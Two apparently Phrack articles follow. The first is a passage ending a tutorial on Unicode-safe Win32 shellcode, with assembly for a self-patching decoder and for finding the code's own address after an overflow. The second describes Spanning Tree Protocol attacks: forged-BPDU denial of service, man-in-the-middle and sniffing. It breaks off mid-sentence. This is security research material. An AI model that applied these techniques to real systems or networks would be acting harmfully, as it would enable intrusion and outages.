|00                 db 0x00      ; overwritten with 0x8A          |
|14                 db 0x14                                       |
|00                 db 0x00      ; overwritten with 0x58          |
|88                 db 0x88                                       |
|00                 db 0x00      ; overwritten with 0x14          |
|18                 db 0x18                                       |
|00                 db 0x00      ; overwritten with 0xE2          |
|F7                 db 0xF7                                       |
|_________________________________________________________________|
```

Just after this should be placed the original working shellcode.

Let’s count the size of this header : (nulls don’t count of course)

```
   1st part : 10 bytes
   2nd part : 27 bytes
   3rd part :  5 bytes
   -------------------
      Total : 42 bytes
```

I find this affordable, because i could manage to make a remote Win32 shellcode fit in around 450 bytes.

So, at the end, we made it : a shellcode that works after it has been turn into a unicode string !

Is this really it ? No of course, we forgot something. I wrote that we assumed that EAX was pointing on the exact first null byte of the loop code. But in order to be honest with you, i will have to explain a way to obtain this.

--[5 - Captain, we don’t know our position !

The problem is simple : We had to perform patches on memory to get our loop working well. So we need to know our position in memory because we are patching ourself.
In an assembly program, an easy way to do this would be :

```
 _________________________________________________________________
|call label                                                       |
|                                                                  |
|          label:                                                  |
|pop eax                                                           |
|__________________________________________________________________|
```

Will get the absolute memory address of label in EAX.

In a classic shellcode we will need to do a call to a lower address to avoid null bytes :

```
 __________________________________________________________________
|jmp jump_label                                                    |
|                                                                  |
|          call_label:                                             |
|pop eax                                                           |
|push eax                                                          |
|ret                                                               |
|          jump_label:                                             |
|call call_label                                                   |
|                              ; ****                              |
|__________________________________________________________________|
```

Will get the absolute memory address of '****'

But this is impossible in our case because we can't jump nor call.
Moreover, we can't parse memory looking for a signature of any kind.
I'm sure there must be other ways to do this but i could only 3 :

-> 1st idea : we are lucky.

If we are lucky, we can expect to have some registers pointing to a place near our evil code. In fact, this will happen in 90% of time. This place can't be considered as harcoded because it will surely move if the process memory moves, from a machine to another. (The program, before it crashed, must have used your data and so it must have pointers to it)
We know we can add anything to eax (only eax)
so we can :

- use XCHG to have the approximate address in EAX
- then add a value to EAX, thus moving it to wherever we want.

The problem is that we can't use : add al,r8 or and ah,r8, because don't forget that :
EAX=0x000000FF + add al,1 = EAX=0x00000000
So thoses manipulations will do different things depending on what EAX contains.

So all we have is : add eax,0x??00??00
No problem, we can add 0x1200 (for example) to EAX with :

```
 __________________________________________________________________
|0500110001        add eax,0x01001100                              |
|05000100FF        add eax,0xFF000100                              |
|__________________________________________________________________|
```

Then, it is simple to add some align data so that EAX points on what we want.
For example :

```
 __________________________________________________________________
|0400              add al,0x0                                      |
|__________________________________________________________________|
```

would be perfect for align.
(N.B: we will maybe need a little inc EAX to fit)

Some extra space may be requiered by this methode (max : 128 bytes because we can only get EAX to point to the nearest address modulus 0x100, then we have to add align bytes. As each 2 bytes is in fact 1 buffer byte because of the added null bytes, we must at worst add 0x100 / 2 = 128 bytes)

-> 2nd idea : a little less lucky.

If you can't find a close address within yours registers, you can maybe find one in the stack. Let's just hope your ESP wasn't smashed after the overflow.
You just have to POP from the stack until you find a nice address. This methode can't be explained in a general way, but the stack always contains addresses the application used before you bothered it. Note that you can use POPAD to pop EDI, ESI, EBP, EBX, EDX, ECX, and EAX.
Then we use the same methode as above.

-> 3rd idea : god forgive me.

Here we suppose we don't have any interesting register, or that the values that the registers contain change from a try to another. Moreover, there's nothing interesting inside the stack.

This is a desperate case so -> we use an old style samoura suicide attack.

My last idea is to :

- Take a "random" memory location that has write access
- Patch it with 3 bytes
- Call this location with a relative call

First part is the more hazardous : we need to find an address that is within a writeable section. We'd better find one at the end of a section full on nulls or something like that, because we're gonna call quite randomly. The easiest way to do this is to take for example the .data section of the target Portable Executable. It is usually a quite large section with Flags : Read/Write/Data.
So this is not a problem to kind of 'hardcode' an address in this area.
So for the first step we just pisk an address in the middle of this,
it won't matter where.
(N.B : if one of your register points to a valid location after the overflow, you don't have to do all this of course)
We assume the address is 0x004F1200 for example :

Using what we saw previously, it is easy to set EAX to this address :

```
 _______________________________________________________________
|B8004F00AA        mov eax,0xAA004F00        ; EAX = 0xAA004F00  |
|50                push eax                                      |
|4C                dec esp                                       |
|58                pop eax                   ; EAX = 0x004F00??  |
|B000              mov al,0x0                ; EAX = 0x004F0000  |
|B9001200AA        mov ecx,0xAA001200                            |
|00EC              add ah,ch                                     |
|                                    ; finally : EAX = 0x004F1200 |
|________________________________________________________________|
```

Then we will patch this writeable memory location with (guess what) :

```
 _______________________________________________________________
|pop eax                                                         |
|push eax                                                        |
|ret                                                             |
|________________________________________________________________|
```

Hex code of the patch : [58 50 C3]

This would give us, after we called this address, a pointer to our code in EAX. This would be the end of the trouble. So let's patch this :

Remember that EAX contains the address we are patching. What we are going to do is first patch with 58 00 C3 00 then move EAX 1 byte ahead, and put the last byte : 0x50 between the two others.
(N.B : don't forget that byte are pushed in a reverse order in the stack)

```
 __________________________________________________________________
|C7005800C300      mov dword [eax],0x00C30058                       |
|40                inc eax                                          |
|C60050            mov byte [eax],0x50                              |
|__________________________________________________________________|
```

Done with patching. Now we must call this location. I no i said that we couldn't call anything, but this is a desperate case, so we use a relative call :

```
 __________________________________________________________________
|E800??00!!        call (here + 0x!!00??00)                         |
|                                        (**)                       |
|__________________________________________________________________|
```

In order to get this methode working, you have to patch the end of a large memory section containing nulls for example. Then we can call anywhere in the area, it will end up executing our 3 bytes code.

After this call, EAX will have the address of (**), we are saved because we just need to add EAX a value we can calculate because it is just a difference between two offsets of our code. Therefore, we can't use previous technique to add bytes to EAX because we want to add less then 0x100. So we can't do the {add eax, imm32} stuff. Let's do something else :

```
              add dword [eax], byte 0x??
```

is the key, because we can add a byte to a dword, this is perfect.

EAX points to (**), se can can use this memory location to set the new EAX value and put it back into EAX. We assume we want to add 0x?? to eax :
(N.B : 0x?? can't be larger than 0x80 because the :

```
              add dword [eax], byte 0x??
```

we are using is signed, so if you set a large value, it will sub instead of add. (Then add a whole 0x100 and add some align to your code but this won't happen as 42*2 bytes isn't large enough i think)

```
 __________________________________________________________________
|0400              ad al,0x0       ; the 0x04 will be overwritten|
|8900              mov [eax],eax                                    |
|8300??            add dword [eax],byte 0x??                        |
|8B00              mov eax,[eax]                                    |
|__________________________________________________________________|
```

Everything is alright, we can make EAX point to the exact first null byte of loop_code as we wished.
We just need to calculate 0x?? (just count the bytes including nulls between loop_code and the call and you'll find 0x5A)

--[6 - Conclusion

Finally, we could make a unishellcode, that won't be altered after a str to unicode transformation.
I'm waiting other ideas or techniques to perform this, i'm sure there are plenty of things i haven't thought about.

Thanks to :
- NASM Compiler and disassembler (i like its style =)

- Datarescue IDA
- Numega SoftIce
- Intel and its processors

Documentation :

- http://www.intel.com   for the official intel assembly doc

Greetings go to :

- rix, for showing us beautiful things in his articles
- Tomripley, who always helps me when i need him !

--| 7 - Appendix : Code

For test purpose, i give you a few lines of code to play with (NASM style)
It is not really a code sample, but i gathered all my examples so that you don’t have to look everywhere in my messy paper to find what you need...

```
- main.asm ----------------------------------------------------------------
%include "\Nasm\include\language.inc"

[global main]

segment .code public use32
..start:

; *********************************************
; *   Assuming EAX points to (*) (see below)  *
; *********************************************

;
; Setting EBX to 0x00000000 and ECX to 0x00000500
;
push byte 00          ; 6A00
push byte 00          ; 6A00
pop ebx               ; 5D
add [ebp+0x0],al      ; 004500
pop ecx               ; 59
add [ebp+0x0],al      ; 004500
mov edx,0x41000500    ; BA00050041
add ch,dh             ; 00F5


;
; Setting the loop_code
;
add [ebp+0x0],al      ; 004500
mov byte [eax],0x8A   ; C6008A
add [ebp+0x0],al      ; 004500

inc eax               ; 40
add [ebp+0x0],al      ; 004500
inc eax               ; 40
add [ebp+0x0],al      ; 004500
mov byte [eax],0x58   ; C60058
add [ebp+0x0],al      ; 004500

inc eax               ; 40
add [ebp+0x0],al      ; 004500
inc eax               ; 40
add [ebp+0x0],al      ; 004500
mov byte [eax],0x14   ; C60014
add [ebp+0x0],al      ; 004500

inc eax               ; 40
add [ebp+0x0],al      ; 004500
```

```
inc eax               ; 40
add [ebp+0x0],al      ; 004500
mov byte [eax],0xE2   ; C600E2
add [ebp+0x0],al      ; 004500
inc eax               ; 40
add [ebp+0x0],al      ; 004500

;
; Loop_code
;

db 0x43
db 0x00 ;0x8A         (*)
db 0x14
db 0x00 ;0x58
db 0x88
db 0x00 ;0x14
db 0x18
db 0x00 ;0xE2
db 0xF7

; < Paste 'unicode' shellcode there >

-EOF-----------------------------------------------------------------------
```

Then the 3 methodes to get EAX to point to the chosen code.
(N.B : The 'main' code is 42*2 = 84 bytes long)

```
- methode1.asm ------------------------------------------------------------
; *********************************************
; *        Adjusts EAX (+ 0xXXYY bytes)       *
; *********************************************

; N.B : 0xXX != 0x00

add eax,0x0100XX00    ; 0500XX0001
add [ebp+0x0],al      ; 004500
add eax,0xFF000100    ; 05000100FF
add [ebp+0x0],al      ; 004500

                            ; we added 0x(XX+1)00 to EAX

; using : add al,0x0 as a NOP instruction :
add al,0x0            ; 0400
add al,0x0            ; 0400
add al,0x0            ; 0400
; [...]   <--  (0x100 - 0xYY) /2  times
add al,0x0            ; 0400
add al,0x0            ; 0400
add al,0x0            ; 0400

; (N.B) if 0xYY is odd then add a :
dec eax               ; 48
add [ebp+0x0],al      ; 004500
-EOF-----------------------------------------------------------------------
```

```
- methode2.asm ------------------------------------------------------------
; *********************************************
; *         Basically : POPs and XCHG         *
; *********************************************

popad                 ; 61
add [ebp+0x0],al      ; 004500
xchg eax, ?           ; 1 non null byte    (find out what to do here)
add [ebp+0x0],al      ; 004500
```

```
; do it again if needed, then use methode1 to make everything okay
-EOF-----------------------------------------------------------------------------



- methode3.asm -----------------------------------------------------------------
; ********************************************
; *               Using a CALL               *
; ********************************************

; Get the wanted address

mov eax,0xAA00??00         ; B800??00AA
add [ebp+0x0],al           ; 004500
push eax                   ; 50
add [ebp+0x0],al           ; 004500
dec esp                    ; 4C
add [ebp+0x0],al           ; 004500
pop eax                    ; 58
add [ebp+0x0],al           ; 004500
mov al,0x0                 ; B000
mov ecx,0xAA00!!00         ; B900!!00AA
add ah,ch                  ; 00EC
add [ebp+0x0],al           ; 004500

; EAX = 0x00??!!00

; awfull patch, i agree
mov dword [eax],0x00C30058 ; C7005800C300
inc eax                    ; 40
add [ebp+0x0],al           ; 004500
mov byte [eax],0x50        ; C60050
add [ebp+0x0],al           ; 004500

          ; just pray and call

call 0x????????            ; E800!!00??

add [ebp+0x0],al           ; 004500

; then add 90d = 0x5A to EAX (to reach (*), where the loop_code is)
; case where 0xXX = 0x00 so we can't use methode1

add al,0x0                 ; 0400     because we're patching at [eax]

mov [eax],eax              ; 8900
add dword [eax],byte 0x5A  ; 83005A
add [ebp+0x0],al           ; 004500
mov eax,[eax]              ; 8B00

; EAX pointes to the very first null byte of loop_code


|=[ EOF ]=---------------------------------------------------------------------=|
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x0c of 0x0f

|=----------------=[Fun with the Spanning Tree Protocol]=----------------=|
|=---=|
|=------------=[Oleg K. Artemjev, Vladislav V. Myasnyankin]=-------------=|

Introduction.
==*=*=*=*=*

Developed in the 1st part of 80th by International Standards Organization (ISO) seven-layer model of Open System Interconnection (OSI) presents a hierarchical structure, where each level has strictly assigned job & interface to upper & lower levels. Due to business needs modern equipment currently supports on the 2nd OSI layer not only traditional frame forwarding & hardware address resolution, but also provides redundancy, multiplexing, load balancing & separation of information flows. Unfortunately, security issues at this layer are often left without attention. Here we’ll show weakness in implementation and algorithm of one of the second OSI layer (‘‘channel’’ (MAC+LLC)) protocols - Spanning Tree Protocol (STP). This work uses our materials published in Russian: [2], [4].

Since we’re publishing an information about security vulnerabilities before a fix is ready on the market & since these information may be used by a malicious person we’ll write our article in such a way, so newbies (also known as ‘‘script kiddies’’ or ‘‘black hats’’ - see [1]) would be unable to use this paper as a step-by-step ‘‘howto’’. We understand that different people have different opinion to this issue, but feel that this is almost single possible way to stimulate vendors to fix bugs much faster. Of course we already notified some vendors (Cisco, Avaya) about these vulnerabilities, but an answer was alike: ‘‘unless this gives money we won’t make investments’’. Well, since we’re interested in high level of security in switches & routers we use, we have to publish our investigations - thus we ’ll make some pressure on hardware vendors to implement real security in their devices. Also we note, that vendors should be already informed via bugtraq & some - Cisco & Avaya - directly. Our first publication in Russian concerning STP vulnerabilities was made about one year ago.

The volume of our materials written while analyzing STP protocol is too big to be published in one magazine article. Full information is available in the Internet at the project’s web page ([3]) and with the same restrictions which apply also to this publication (see license below).

License.
==*=*=

As a complain against trends to inhibit publications of security vulnerabilities in software (these tendencies are widely known to the public as a DMCA law in U$ [Digital Millennium Copyright Act]), these materials are a subject to the following license:

License agreement.

This paper is an intellectual property of it’s authors: Oleg Artemjev and Vladislav Myasnyankin (hereinafter - writers). This paper may be freely used for the links, but its content or its part cannot be translated into foreign languages or included into any paper, book, magazine, and other electronic or paper issues without prior WRITTEN permissions of both writers. Moreover, in case of using materials of this research or refer to it, according given license you must provide complete information: full title, authorship and this license. You can freely distribute this paper electronically, if, and only if, all of the following conditions are met:

1. This license agreement and article are not modified, including its PGP digital signature. Any reformatting of the text is prohibited.

2. The distribution does not contradict the given license.

Distribution of this paper in the countries with the legislation containing limitations similar to American DMCA contradicts the given license. At the moment of publication this includes United States of America (including embassies,naval vessels, military bases and other areas of US jurisdiction. Moreover, reading this paper by citizens of such a country violates this license agreement and may also violate their law. Nevertheless, distribution of any links to this document is not a violation of the given license.

This paper is provided by the authors ``as is'' and any express or implied warranties, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose are disclaimed. In no event shall the writers be liable for any direct,indirect, incidental, special, exemplary, or consequential damages (including, but not limited to, procurement of substitute goods or services; loss of use, data, or profits; or business interruption).

Writers claim this article for educational purposes only. You should not read this paper, if you disagree not to use it any other way.

The given license agreement is subject to change without warning in the consent of both writers.

What is STP?
==*=*=*=*=

Main task of STP protocol is automated management of network topology with redundant channels. In general, almost all type of networks are unable to accept loops(rings) in their structure. Really, if network equipment is connected with superfluous lines, then without additional measures frames would be delivered to recipient as a several one - this would result in a fault. But business require redundancy, thus there is an STP - it takes care that all physical loops are logically disabled unless one of lines gives a fault - in this case STP enables line that is currently in reserve. STP should guarantee that at each point of time only one of several duplicate links is enabled & should automatically switch between them on demand (fault or physical topology change).

How STP works?
==*=*=*=*=*=

STP begin its work from building a tree-alike graph, which begins at ``root''. One of STP-capable devices becomes a root after winning elections. Each STP-capable device (it could be a switch, router or other equipment, hereby & later for simplicity called ``bridge'') starts from power-up claiming that it's root one by sending special data named Bridge Protocol Data Unit (BPDU - see [9]) through all ports. The receiver's address in a BPDU packets is a group (multicast) address - this allows BPDUs pass through non-intellectual (dumb) equipment like hubs and non STP-aware switches.

Here as we say ``address'', we mean MAC-address, since STP is working at the level of Media Access Control (MAC). Thereby all issues about STP & its vulnerabilities apply equal to the different transmission methods, i.e. Ethernet, Token Ring & others.

After receiving BPDU from other device the bridge compares received parameters with its own & depending to result decide to stop or keep insisting on its root status. At the end of elections the device with the lowest value of the bride identifier becomes a root one. The bridge identifier is a combination of bridge MAC address & defined bridge priority. Obviously in a network with single STP compatible device it 'll be a root one.

Designated root (or ``Designated Root Bridge'', as named by standard) doesn't have any additional responsibilities - it only used as a beginning point to start building topology graph. For all other bridges in a network STP defines the ``Root Port'' - the nearest to the root bridge port. From other ports connected to the bridge it differs by its identifier - combination of its MAC address & defined for the port priority.

The Root Path Cost is also a value meaningful for STP elections - it is being build as a sum of path costs: to the root port of given bridge & all path costs to root ports of all other bridges on the route to Root one.

In addition to the ``main'' Root Bridge STP defines a logical entity called ``Designated Bridge'' - owner of this status becomes main bridge in serving of given LAN segment. This is also a subject of elections.

Similarly STP defines for each network segment the Designated Port (which serving given network segment) & corresponding to it ``Designated Cost''.

After all the elections are finished, network goes into stable phase. This state is characterized by the following conditions:

- There is only one device in a network claiming itself as a Root one, all others are periodically announcing it.

- The Root Bridge periodically sends BPDU through all its ports. The sending interval is named ``Hello Time''.

- In each LAN segment there is a single Designated Root Port and all traffic to the Root Bridge is going through it. Compared to other bridges, it has lowest value of path cost to the Root Bridge, if these values are identical - the port with a lowest port identifier (MAC plus priority) is assigned.

- BPDUs are being received & sent by STP-compatible unit on each port, even those that are disabled by STP protocol. Exceptionally, BPDUs are not operationing on ports that are disabled by administrator.

- Each bridge forwards frames only between Root Port & Designated Ports for corresponding segments. All other ports are blocked.

As follows from the last item, STP manages topology by changing port states within following list:

Blocking: The port is blocked (discards user frames), but accepts STP BPDUs.

Listening: 1st stage before forwarding. STP frames (BPDUs) are OK, but user frames are not processed. No learning of addresses yet, since it may give wrong data in switching table at this time;
Learning: 2nd stage of preparation for forwarding state. BPDUs are processed in full, user frames are only used to build switching table and not forwarded;
Forwarding: Working state of ports from user view - all frames are processed - STP & user ones.

At time of network topology reconfiguration all bridge ports are in one of three states - Blocking, Listening or Learning, user frames are not delivered & network is working only for itself, not for user.

In stable state all bridges are awaiting periodical Hello BPDUs from Root Bridge. If in the time period defined by Max Age Time there was no Hello BPDU, then bridge decides that either Root Bridge is Off, either the link to is broken. In this case it initiates network topology reconfiguration. By defining corresponding parameters it is possible to regulate how fast bridges will find topology changes & enable backup links.

Lets look closer.

==*=*=*=*=*=*=*

Here is a structure of STP Configuration BPDU according to 802.1d standard:

```
 ----------------------------------------------
 |Offset  |Name                        |Size   |
```

1	Protocol Identifier	2 bytes
	Protocol Version Identifier	1 byte
	BPDU type	1 byte
	Flags	1 byte
	Root Identifier	8 bytes
	Root Path Cost	4 bytes
	Bridge Identifier	8 bytes
	Port Identifier	2 bytes
	Message Age	2 bytes
	Max Age	2 bytes
	Hello Time	2 bytes
35	Forward Delay	2 bytes

In a C language:

```
typedef struct {

Bpdu_type  type;
Identifier root_id;
Cost       root_path_cost;
Identifier bridge_id;
Port_id    port_id;
Time       message_age;
Time       max_age;
Time       hello_time;
Time       forward_delay;
Flag       topology_change_acknowledgement;
Flag       topology_change;

} Config_bpdu;
```

Here is how it look like in a tcpdump:

```
---------------------screendump----------------------------
[root@ws002 root]# tcpdump -c 3 -t -i eth0 stp
tcpdump: listening on eth0
802.1d config 8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 age 0 max
20 hello 2 fdelay 15
802.1d config 8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 age 0 max
20 hello 2 fdelay 15
802.1d config 8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 age 0 max
20 hello 2 fdelay 15
3 packets received by filter
0 packets dropped by kernel
[root@ws002 root]#
---------------------screendump----------------------------
```

And with extra info:

```
---------------------screendump----------------------------
[root@ws002 root]# tcpdump -vvv -e -l -xX -ttt -c 3 -i eth0 stp
tcpdump: listening on eth0
000000 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \
8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \
age 0 max 20 hello 2 fdelay 15
0x0000   4242 0300 0000 0000 8000 0050 e2bd 5840        BB.........P..X@
0x0010   0000 0000 8000 0050 e2bd 5840 8002 0000        .......P..X@....
0x0020   1400 0200 0f00 0000 0000 0000 0000 7800        ..............x.
0x0030   0c00                                           ..
2. 002912 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \
8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \
age 0 max 20 hello 2 fdelay 15
0x0000   4242 0300 0000 0000 8000 0050 e2bd 5840        BB.........P..X@
0x0010   0000 0000 8000 0050 e2bd 5840 8002 0000        .......P..X@....
0x0020   1400 0200 0f00 0000 0000 0000 0000 7800        ..............x.
0x0030   0c00                                           ..
2. 046164 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \
8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \
age 0 max 20 hello 2 fdelay 15
0x0000   4242 0300 0000 0000 8000 0050 e2bd 5840        BB.........P..X@
0x0010   0000 0000 8000 0050 e2bd 5840 8002 0000        .......P..X@....
0x0020   1400 0200 0f00 0000 0000 0000 0000 7800        ..............x.
0x0030   0c00                                           ..
3 packets received by filter
0 packets dropped by kernel
[root@ws002 root]#
---------------------screendump---------------------------
```

Generally the same is achieved by multicast alias of tcpdump syntax (if you ’ve no other multicast traffic in the target network:

```
---------------------screendump---------------------------
[root@ws002 root]# tcpdump -vvv -e -l -xX -ttt -c 3 -i eth0 multicast
tcpdump: listening on eth0
000000 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \
8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \
age 0 max 20 hello 2 fdelay 15
0x0000   4242 0300 0000 0000 8000 0050 e2bd 5840        BB.........P..X@
0x0010   0000 0000 8000 0050 e2bd 5840 8002 0000        .......P..X@....
0x0020   1400 0200 0f00 0000 0000 0000 0000 7800        ..............x.
0x0030   0c00                                           ..
2. 004863 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \
8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \
age 0 max 20 hello 2 fdelay 15
0x0000   4242 0300 0000 0000 8000 0050 e2bd 5840        BB.........P..X@
0x0010   0000 0000 8000 0050 e2bd 5840 8002 0000        .......P..X@....
0x0020   1400 0200 0f00 0000 0000 0000 0000 7800        ..............x.
0x0030   0c00                                           ..
2. 006193 0:50:e2:bd:58:42 1:80:c2:0:0:0 0026 64: 802.1d config \
8000.00:50:e2:bd:58:40.8002 root 8000.00:50:e2:bd:58:40 pathcost 0 \
age 0 max 20 hello 2 fdelay 15
0x0000   4242 0300 0000 0000 8000 0050 e2bd 5840        BB.........P..X@
0x0010   0000 0000 8000 0050 e2bd 5840 8002 0000        .......P..X@....
0x0020   1400 0200 0f00 0000 0000 0000 0000 7800        ..............x.
0x0030   0c00                                           ..
3 packets received by filter
0 packets dropped by kernel
[root@ws002 root]#
---------------------screendump---------------------------
```

As you see here, normally STP frames are arriving approximately within Hello Time (here is 2 seconds).

STP & VLANs.

==*=*=*=*=

We ’d like to say some words about STP functioning specific to networks with virtual LANs (VLANs). Enabling this mode on a switch is logically equivalent to replacing it with a few (by number of VLANs) switches, even when physically there’s no separation between VLANs media. It ’d be obvious to find there different STP trees, but this option is supported by only some equipment(i.e. Intel 460T supports only one STP tree for all VLANs; with Avaya's Cajun switches family you'll find separate Spanning Tree only in high models). These facts are destroying a hope to localize possible STP attacks in one VLAN. But there are threats existing even with separate spanning trees per VLAN.

Some vendors realize in their devices extended STP-related futures, enhancing their abilities, like Spanning Tree Portfast in Cisco (see [11]) & STP Fast Start in some 3Com switches (see [12]). We'll show essence of them below. Also, some companies support their own implementation of STP, i.e. Dual Layer STP from Avaya. Plus, STP modifications functioning for other network types (i.e. DECnet). Here we'd like to point on their principle similarity and differ only in details and extended abilities (so, in Avaya Dual Layer STP trees could be terminated at the 802.1q-capable ports). All these implementation suffer from the same defects as their prototypes. Unpublished proprietary protocols give one more problem - only developers could solve their problems, since full reverse engineering (needed to provide good bug-fixing solutions) is much harder then small one required to realize attacks & by publishing results some would make an evidence of reverse engineering, which may be illegal.

Possible attack schemes
==*=*=*=*=*=*=*=*=*=*=*

An idea of 1st group of attacks lies practically ``on the surface''. Essentially the principle of STP allows easily organize Denial of Service (DoS) attack. Really, as defined by standard, on Spanning Tree reconfiguration all ports of involved devices does not transfer user frames. Thus, to drop a network (or at least one of its segments) into unusable state it's enough to master STP-capable device(s) to do infinite reconfiguration. It could be realized by initiating elections of, for example, root bridge, designated bridge or root port - practically any of electional object. ``Fortunately'' STP has no any authentication allowing malicious users easily reach this by sending fake BPDU.

A program building BPDU could be written in any high level language having raw-socket interface (look at C sample and managing shell script at our project home page - [5], [6]). Another way - one may use standard utilities for managing Spanning Tree, i.e. from Linux Bridge project([13]), but in this case its not possible to manipulate STP parameters with values that doesn't fit into standard specification. Below we will examine base schemes of potentially possible attacks.

Eternal elections.
==*=*=*=*=*=*=*=

Attacker monitors network with a sniffer (network analyzer) & awaits for one of periodical configuration BPDUs from the root bridge (containing its identifier). After that he sends into a network a BPDU with identifier that is lower then received one (id=id-1) - thus it has pretensions to be a root bridge itself & initiates elections. Then it decrement identifier by 1 and repeat procedure. Each step initiates new elections wave. When identifier reach its lowest value attacker return to the value calculated at beginning of the attack. As a result network will be forever in elections of the root bridge and ports of STP-capable devices will never reach forwarding state while attack is in progress.

Disappearance of root.
==*=*=*=*=*=*=*=*=*=*=

With this attack there is no need to get current root bridge identifier - the lowest possible value is a starting one. This, as we remember, means maximum priority. At the end of elections attacker stops sending BPDUs, thus after a timeout of Max Age Time gives new elections. At new elections attacker also acts as before (and wins). By assigning minimum possible Max Age Time it is possible to get situation when all the network will spend all time reconfigurating, as it could be in previous algorithm. This attack may occur less effective, but it has simpler realization. Also, depending to network scale and other factors (i.e. Forward Delay value, that vary speed of switching into a forwarding state) the ports of STP-capable devices may never start forwarding the user frames - so we cannot consider this attack as less dangerous.

Merging-splitting of the trees.
==*=*=*=*=*=*=*=*=*=*=*=*=*=*=

In a network with VLAN support it may be possible to lunch a modification of discussed above attack by connecting segments with different vlans & STP trees. This may be realized without software, by hands, by linking ports together with a cross-over cable. This may become a pain for NOC, since it's hard to detect.

Local Denial of Service.
==*=*=*=*=*=*=*=*=*=*=*

Attacker may make Denial of Service not for the entire network, but just on a part of it. There could be many motivations, i.e. it may isolate victim client from real server to make ``fake server'' attack. Lets look for realization of this type of attack on example.

```
 ----------------------------------------------------------------

 .------------------------.                 .------------------.
 | Switch w/ STP #1       |-----------------| Switch w/ STP #2 |
 ._________________________.                 '__________________'
    |                |                               |
    |                |                               |   .___.
    |                |                               |   |   |
    |.....           |  ._                           |   | ==|
  .------,~          |  ||                           |   | ==|
  |Client|'          |  ||                            \_ |  -|
  | PC   ||           \ |....                            |   |
  \------ /            '=====|                           |   |
   ======/             Attackers                       -------
                       Notebook                         Server

--------------------------Picture 1-----------------------------
```

On the picture 1 server is connected to one switch & victim is connected to another one (connectivity to the bridge may include hubs). Attacker needs to fool nearest switch & make it think that he(she) has better way to the bridge that serves server computer.

In terms of STP, attacker must initiate & win elections of designated bridge for server segment. As a result of winning such elections the channel between bridges would be disabled by setting corresponding ports to the blocked state. By destroying connectivity between segments attacker may either try to fool client claiming itself as a real server (compare with well known Mitnick attack) or just feel satisfied if mischief is a subject.

BPDU filter.
==*=*=*=*=*=

Obvious way to attack is to set a loop that is undetectable by STP by organizing physical ring with filtering there of all BPDU frames.

Man In the Middle.
==*=*=*=*=*=*=*=*=

Next two attacks have principal difference from already discussed - the goal of them not to achieve denial of service, but data penetrating, that impossible in the normal network operation mode. In short, this attack uses STP to change logical structure of network to direct sensitive traffic via attacker's station. Let's look at the 2nd picture.

```
 ----------------------------------------------------------------
     Clients segment                          Server segment
 .------------------------.                 .------------------.
 | Switch w/ STP #1       |------X X--------| Switch w/ STP #2 |
 .________________________.                 ’__________________’
    |                |                        |      |
    |                |                        |      |   .___.
    |                |                        |      |   |   |
    |.....           |   .------.             |      |   | ==|
  .------,˜          |   |      |             |      |   | ==|
  |Client|’          |   |Attacking           ;       \_,|  -|
  | PC   ||           \  | PC   |            /           |   |
  \------ /            \_========_,         /            |   |
   ======/              |_________|--------’            -------
                                                         Server

--------------------------Picture 1------------------------------
```

As against mentioned above partial denial of service attack, suppose that attackers station is equipped with two NICs, one Network Interface Card is connected to the ``client’s’’ segment, and another - to the ``server’s’’ segment. By sending appropriate BPDU attacker initiates elections of the designated bridge for both segments and wins them. As a result, existing link between switches (marked as "-X X-") will shut down (will switch to the blocking state) and all inter-segment traffic will be directed via attacker’s station. If intruder’s plans does not include denial of service, he(she) MUST provide frame forwarding between NICs. It’s a very simple task if attacker doesn’t needed to change traffic in some manner. This may be done by either creating simple program module or using built-in STP functions of the operating system, for example with Linux Bridge Project (see [13]), which contribute complete bridge solution. Of course, an intruder must take in account ``bottle neck’’ problem - inter-segment link may work at 100Mb (1Gb) speed while client’s ports may provide only 10Mb (100Mb) speed, which lead to the network productivity degradation and partial data loss (but software realization of back pressure shouldn’t be a big deal). Of course, if attacker wants to ``edit’’ traffic on the fly on a heavy loaded link, he(she) may need more powerful computer (both CPU and RAM). Fortunately, this attack is impossible in networks with single switch - try to realize it in these conditions and you will get partial DoS. Also note, that realization is trivial only when attacker is connected to neighbored switches. If connections are made to the switches without direct link, there is additional task - guessing at least one Bridge ID, because STP-capable devices never forward BPDU, sending on the base of received information its own, instead.

Provocated Sniffing.
==*=*=*=*=*=*=*=*=

In general, sniffing is data penetrating by switching network interface into promiscuous mode. In this mode NIC receives all the frames, not only broadcasts and directed to it. There’re well known attack on networks based on switches, these are either poison targets MAC address table by fake ARP replies, either over-full bridge switching table and thus making it behave like a hub, but with splitting collision domains. Almost the same results may be achieved using STP.

According specification after tree reconfiguration (for example, after designated bridge elections) STP-capable device MUST remove from the switching table all the records (except those statically set by administrator), included before switch gone into listening and learning state. As a result switch will go into hub mode for some time while it refill switching table. Of course, you already noted weakness of this theory: switch learns too fast. After receiving first frame from victim it writes its MAC address into switching table and stops to broadcast them to all ports. However, we must not ignore this attack. This is because manufacturers include in their products some ``extensions’’ to core STP. Just after elections network is unreachable. To reduce down time some manufacturers (Cisco, Avaya, 3Com, HP, etc) include an ability to discard listening and learning states on the ``user'' ports (ports with servers and workstations connected to). In other words, port is switching from ``blocked'' state directly to ``forwarding'' state. This ability has different names: Spanning Tree Portfast (Cisco - [11]), STP Fast Start (3Com - [12]) etc. If this ability turned on, eternal elections would lead not to DoS, but to periodical resets of the switching table, that means hub-mode. Note, that this function should not be turned ON on the trunk ports, because STP convergence (finalization of elections to a stable state) not guaranteed in this case. Fortunately, to achieve its goal an intruder must clear switching table at least two times fast than interesting packets are 